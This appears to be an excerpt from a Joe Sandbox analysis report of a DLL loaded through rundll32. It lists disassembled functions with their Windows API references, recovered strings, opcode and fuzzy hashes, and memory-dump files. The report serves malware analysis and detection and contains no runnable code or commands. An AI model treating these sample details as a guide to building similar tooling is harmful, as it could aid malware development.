Similarity

API ID: CounterErrorLastPerformanceQuery
String ID: Timer: QueryPerformanceCounter failed with error $Timer: QueryPerformanceFrequency failed with error
API String ID: 1297246462-2136607233
Opcode ID: 9ee59229e212956a5ad5bf1f46a6bb9deeaa9c4882d832b64306109d34de8098
Instruction ID: e276ca95d94cc02c4c34f88c9b9dd8dfe02e4f9f552f3ee65b5babd3891764a8
Opcode Fuzzy Hash: 9ee59229e212956a5ad5bf1f46a6bb9deeaa9c4882d832b64306109d34de8098
Instruction Fuzzy Hash: C6412125B1AA4381EB50DB24E860B6673A1FF88784F840136D56D4B6F9EF2CE505CB40

Function 00007FFDFB69E2C4 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB69E304
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB69E6B0
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB69E95B

Strings

p, xrefs: 00007FFDFB69E402
p, xrefs: 00007FFDFB69E38A
f, xrefs: 00007FFDFB69E3FA

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: af4e372e4b22424b35f8d0b3bd486631f5121ac0fb9002130275070692b65a4a
Instruction ID: b176e28b10ed814caaa87354ffa23825c168ddb2080737af5389572188f500a9
Opcode Fuzzy Hash: af4e372e4b22424b35f8d0b3bd486631f5121ac0fb9002130275070692b65a4a
Instruction Fuzzy Hash: EE12B132F0E14386FB605A14E0B4A797752FB81758F984136F6A94F6ECDE3DE4898B01

Function 00007FFDFB617330 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 207COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32 ref: 00007FFDFB6173CA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61767A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB617680

Strings

ios_base::failbit set, xrefs: 00007FFDFB617695
ios_base::eofbit set, xrefs: 00007FFDFB61769C
ios_base::badbit set, xrefs: 00007FFDFB61768A

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$PathTemp
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3106296249-1866435925
Opcode ID: 53eb9c69046f0e2b251a7bddbb7db749ed5251bbd3823f09f5668f78ce173d48
Instruction ID: b402c4848cd9646d669da13be081fd394d1713d8737efcfe36e0a12fceb81782
Opcode Fuzzy Hash: 53eb9c69046f0e2b251a7bddbb7db749ed5251bbd3823f09f5668f78ce173d48
Instruction Fuzzy Hash: 75A19C72B19BC29AEB20CF24D8507ED3361FB40798F409231EA6C5BAA9DF78D585C740

Function 00007FFDFB659820 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 181COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB659AB2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB659ABE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB659AC4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB659ACA

Strings

, xrefs: 00007FFDFB659916
is not a valid number of rounds, xrefs: 00007FFDFB6598FD, 00007FFDFB65991F

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: $ is not a valid number of rounds
API String ID: 3668304517-2343365793
Opcode ID: 5e3dbaec417cfd314a51bfb91870d21e79ef2d8f8a20d464f61fc04cc3fac520
Instruction ID: 047336d67e47559a251e18f7790533310c139cef86479e96519715c5c2ed54d1
Opcode Fuzzy Hash: 5e3dbaec417cfd314a51bfb91870d21e79ef2d8f8a20d464f61fc04cc3fac520
Instruction Fuzzy Hash: 5471D362B1AB4745FB009B64D4647AC2362EB497A8F404631EA7C1BBEEDF7CE191C340

Function 00007FFDFB666F8C Relevance: 10.6, APIs: 7, Instructions: 121threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FFDFB666FBF
GetCurrentThreadId.KERNEL32 ref: 00007FFDFB666FDA
GetCurrentThreadId.KERNEL32 ref: 00007FFDFB667012
xtime_get.LIBCPMT ref: 00007FFDFB66704E
GetCurrentThreadId.KERNEL32 ref: 00007FFDFB667075
GetCurrentThreadId.KERNEL32 ref: 00007FFDFB6670AE
GetCurrentThreadId.KERNEL32 ref: 00007FFDFB6670F2

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: CurrentThread$xtime_get
String ID:
API String ID: 1104475336-0
Opcode ID: 80901c1cae36237b5f86db604b04223b982d54683432315af2d00a601e6e7815
Instruction ID: 3bd910369258dd064d203d757855484d1bda794c9177c773d01f73311b916ff2
Opcode Fuzzy Hash: 80901c1cae36237b5f86db604b04223b982d54683432315af2d00a601e6e7815
Instruction Fuzzy Hash: 5E514D72B19A478AE7209F15E860A7973A2FB44B45F548032DA6E4F6F8DF3DE845C700

Function 00007FFDFB652E20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB652E99
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB653031
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB653060
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB653066
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB65306C

Strings

bad locale name, xrefs: 00007FFDFB653053

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task$Lockitstd::_$Lockit::_Lockit::~_
String ID: bad locale name
API String ID: 2973761340-1405518554
Opcode ID: fc0f2ada845806d66ef09fadd2e6ba572e0f8a79ba1565fe04d36fc9959963d8
Instruction ID: 630903bda1def20728f3227a817b730643ffc38bf795981b20c0b093eca1dcad
Opcode Fuzzy Hash: fc0f2ada845806d66ef09fadd2e6ba572e0f8a79ba1565fe04d36fc9959963d8
Instruction Fuzzy Hash: 84414F22B5BB4389FB15DBA1A860BBD33A5AF80B48F040438DE5D1EAEDCE38D4558754

Function 00007FFDFB652C80 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB652CFF
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FFDFB652D47
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB652DE6

Strings

true, xrefs: 00007FFDFB652F84, 00007FFDFB653173
false, xrefs: 00007FFDFB652F57, 00007FFDFB653147
bad locale name, xrefs: 00007FFDFB652E0E

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 2775327233-1062449267
Opcode ID: cb00d2eb83f919ace1a05822c448865dc82a3985b2e3597a8e6028b8acc18621
Instruction ID: be66ff16eddaca800faa80fcd59b1a0f6394cf632dfde8aacff4c42af39031a8
Opcode Fuzzy Hash: cb00d2eb83f919ace1a05822c448865dc82a3985b2e3597a8e6028b8acc18621
Instruction Fuzzy Hash: 51413A22B0BB4299EB14EFA1D860AED33A4EF44B48F044935DE5D1BAADDF38D5248354

Function 00007FFDFB61D100 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

FindFirstVolumeW.KERNEL32 ref: 00007FFDFB61D15A
GetVolumePathNamesForVolumeNameW.KERNEL32 ref: 00007FFDFB61D179
GetVolumeInformationW.KERNEL32 ref: 00007FFDFB61D1AE
FindNextVolumeW.KERNEL32 ref: 00007FFDFB61D2B6
FindVolumeClose.KERNEL32 ref: 00007FFDFB61D2C7

Strings

, xrefs: 00007FFDFB61D257

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Volume$Find$CloseFirstInformationNameNamesNextPath
String ID:
API String ID: 1001540003-3916222277
Opcode ID: 8be9172cc8c665001756b0c62125878edb3b2a735b6986fefbbd51633f571c6f
Instruction ID: 32e8654fd27c2b933179f123596d745fda3a9a34052a2e816c364bd73f379df2
Opcode Fuzzy Hash: 8be9172cc8c665001756b0c62125878edb3b2a735b6986fefbbd51633f571c6f
Instruction Fuzzy Hash: 4F51A172B19B8296EB10CF24E4507A97364FB84B98F545221EBAC0BAE8DF7CD185C740

Function 00007FFDFB6C5818 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FFDFB6C5849
GetLastError.KERNEL32 ref: 00007FFDFB6C5855
CloseHandle.KERNEL32 ref: 00007FFDFB6C586D
CreateFileW.KERNEL32 ref: 00007FFDFB6C5898
WriteConsoleW.KERNEL32 ref: 00007FFDFB6C58B7

Strings

CONOUT$, xrefs: 00007FFDFB6C5879

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea91e7745b01dfba322676411ae110e83d741c265c23e178513768a9845b3dc2
Instruction ID: 960c49f3323a49681564ec567d07ae4797398e8f32dd8f9b6bda2fd572d3652b
Opcode Fuzzy Hash: ea91e7745b01dfba322676411ae110e83d741c265c23e178513768a9845b3dc2
Instruction Fuzzy Hash: 3E118461719B4286E3509B56E864B3972A0FB48BE5F044235EA6E8BBF8CF3CD4448784

Function 00007FFDFB66E584 Relevance: 9.3, APIs: 6, Instructions: 313COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB66E6B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66E6B9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66E84A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB66E856
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB66E9D6
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB66E9E2

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 92c13050dafb676080da790f4825a759bd087f351d71d88f55ae540bf349fd1f
Instruction ID: 6416cbd56181874a41be2655c2542dc55f7f9e41e074e12645304140fae78732
Opcode Fuzzy Hash: 92c13050dafb676080da790f4825a759bd087f351d71d88f55ae540bf349fd1f
Instruction Fuzzy Hash: 0AB1D222B06A4799EB149B16E524A796356AB04FE4F544731EE7D0FBE9EE3CE042C300

Function 00007FFDFB66D14C Relevance: 9.2, APIs: 6, Instructions: 200COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FFDFB66D1BE
MultiByteToWideChar.KERNEL32 ref: 00007FFDFB66D266
LCMapStringEx.KERNEL32 ref: 00007FFDFB66D29D
LCMapStringEx.KERNEL32 ref: 00007FFDFB66D2F6
LCMapStringEx.KERNEL32 ref: 00007FFDFB66D3A3
WideCharToMultiByte.KERNEL32 ref: 00007FFDFB66D3E5

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 29f288080a3395cab0d80437141db106d62fb802e43f4c64c0243319128570e3
Instruction ID: 3661d76c538ec6669d1e9d2c1b1fb01c67bd92ef36b535ba3093506f6e658a8b
Opcode Fuzzy Hash: 29f288080a3395cab0d80437141db106d62fb802e43f4c64c0243319128570e3
Instruction Fuzzy Hash: 9081917271A7428AEB208F119460B796396FF947A8F144235EA6D1FBECDF3CE8458740

Function 00007FFDFB6B24E8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFDFB6A5A45,?,?,?,?,00007FFDFB6B400C), ref: 00007FFDFB6B24F7
FlsSetValue.KERNEL32(?,?,?,00007FFDFB6A5A45,?,?,?,?,00007FFDFB6B400C), ref: 00007FFDFB6B252D
FlsSetValue.KERNEL32(?,?,?,00007FFDFB6A5A45,?,?,?,?,00007FFDFB6B400C), ref: 00007FFDFB6B255A
FlsSetValue.KERNEL32(?,?,?,00007FFDFB6A5A45,?,?,?,?,00007FFDFB6B400C), ref: 00007FFDFB6B256B
FlsSetValue.KERNEL32(?,?,?,00007FFDFB6A5A45,?,?,?,?,00007FFDFB6B400C), ref: 00007FFDFB6B257C
SetLastError.KERNEL32(?,?,?,00007FFDFB6A5A45,?,?,?,?,00007FFDFB6B400C), ref: 00007FFDFB6B2597

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: fd5a3247bdf8a9549cf6405ef2adf0bdcd1b5357fb1e9862cce42a1842a2b67f
Instruction ID: 8d5950c82bd9b24191d872806ce66be6f0616a564af79f9d74e3767fb719d88b
Opcode Fuzzy Hash: fd5a3247bdf8a9549cf6405ef2adf0bdcd1b5357fb1e9862cce42a1842a2b67f
Instruction Fuzzy Hash: A6114F22B0B64342FB58A7315575D3966A2AF487B4F188734E83E4E7FEDE2CF4514A00

Function 00007FFDFB61BE80 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 244COMMON

Download Yara Rule

Strings

ios_base::failbit set, xrefs: 00007FFDFB61BFD5
ios_base::eofbit set, xrefs: 00007FFDFB61BFDC
ios_base::badbit set, xrefs: 00007FFDFB61BFC9

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 0-1866435925
Opcode ID: 20977333576004a0901ab03db5998ed803f1dd80b70d8038ba678bf1eb125c9e
Instruction ID: 0506967d751333a023e9e36deeaa8cb7a184dd00e6b4b7b02634cd5e066f89fd
Opcode Fuzzy Hash: 20977333576004a0901ab03db5998ed803f1dd80b70d8038ba678bf1eb125c9e
Instruction Fuzzy Hash: 26A19F2270AA4295EB508F29D4A077D67A1FB84FC4F289031DE1D4BBB9DF3DD8468700

Function 00007FFDFB629CA0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB629F33
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB629F3F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB629F45
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB629F4B

Strings

is not a valid key length, xrefs: 00007FFDFB629D7E, 00007FFDFB629DA0

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: is not a valid key length
API String ID: 3668304517-2125742942
Opcode ID: bb3417636dbbe498ff0b584f220a0cea37fee188254ec6564521b91ffa03046e
Instruction ID: 23582236ec7b79f093e21e8a25887272f0d3d0565c9e149b66e03cc144ec6a6e
Opcode Fuzzy Hash: bb3417636dbbe498ff0b584f220a0cea37fee188254ec6564521b91ffa03046e
Instruction Fuzzy Hash: 8871AF62B1AB4685FF009FA4D4657AC2321AB857A8F405631EE7C1ABEDDF3CE195C340

Function 00007FFDFB61FCB0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMONLIBRARYCODE

Download Yara Rule

Strings

" not used, xrefs: 00007FFDFB61FDB2, 00007FFDFB61FDD4
er ", xrefs: 00007FFDFB61FD22

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
